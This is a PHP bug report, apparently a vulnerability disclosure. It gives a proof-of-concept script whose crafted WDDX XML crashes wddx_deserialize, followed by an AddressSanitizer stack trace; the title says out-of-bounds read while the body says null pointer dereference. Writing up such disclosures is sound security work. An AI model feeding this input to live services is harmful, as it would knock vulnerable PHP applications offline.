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PHP 7.0.10 Out-Of-Bounds Read in php_wddx_push_element of wddx.c

Posted on 30 November -0001

<HTML><HEAD><TITLE>PHP 7.0.10 Out-Of-Bounds Read in php_wddx_push_element of wddx.c</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>Description:
------------
CREDIT
-----------------------
This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.


PHP VERSION
-----------------------
./sapi/cli/php --version
PHP 7.2.0-dev (cli) (built: Sep 11 2016 18:37:49) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies


PROOF-OF-CONCEPT FILE
-----------------------
Posted in the "Test script" section.


STACKTRACE
-----------------------
Posted in the "Actual result" section.


VULNERABILITY DETAILS
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A DoS (null pointer dereference) vulnerability can be triggered in function wddx_deserialize. 
To reproduce this issue, please run export USE_ZEND_ALLOC=0 before executing the test script.

Test script:
---------------
<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <var Name="name">
                <boolean value="keliu"></boolean>
            </var>
            <var name="1111">
                <var name="2222">
                    <var name="3333"></var>
                </var>
            </var>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>

Expected result:
----------------
Exit quietly.

Actual result:
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==47769==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 
    (pc 0x00000046fb9c bp 0x7ffc278e29b0 sp 0x7ffc278e2130 T0)
    #0 0x46fb9b in __interceptor_strcmp.part.24 (php-src/sapi/cli/php+0x46fb9b)
    #1 0xac41d4 in php_wddx_push_element php-src/ext/wddx/wddx.c:791:9
    #2 0x7fa8715ac67f in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x867f)
    #3 0x7fa8715ad38b in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x938b)
    #4 0x7fa8715aecad in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xacad)
    #5 0x7fa8715af404 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xb404)
    #6 0x7fa8715b170a in XML_ParseBuffer (/lib/x86_64-linux-gnu/libexpat.so.1+0xd70a)
    #7 0xac1717 in php_wddx_deserialize_ex php-src/ext/wddx/wddx.c:1081:2
    #8 0xabad7a in zif_wddx_deserialize php-src/ext/wddx/wddx.c:1299:2
    #9 0xfdfb3d in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER php-src/Zend/zend_vm_execute.h:675:2
    #10 0xe75f4b in execute_ex php-src/Zend/zend_vm_execute.h:432:7
    #11 0xe76ec3 in zend_execute php-src/Zend/zend_vm_execute.h:474:2
    #12 0xd00e9e in zend_execute_scripts php-src/Zend/zend.c:1464:4
    #13 0xad4425 in php_execute_script php-src/main/main.c:2537:14
    #14 0x10fca26 in do_cli php-src/sapi/cli/php_cli.c:990:5
    #15 0x10f9f60 in main php-src/sapi/cli/php_cli.c:1378:18
    #16 0x7fa86fec582f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #17 0x449578 in _start (php-src/sapi/cli/php+0x449578)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (php-src/sapi/cli/php+0x46fb9b) in __interceptor_strcmp.part.24
==47769==ABORTING
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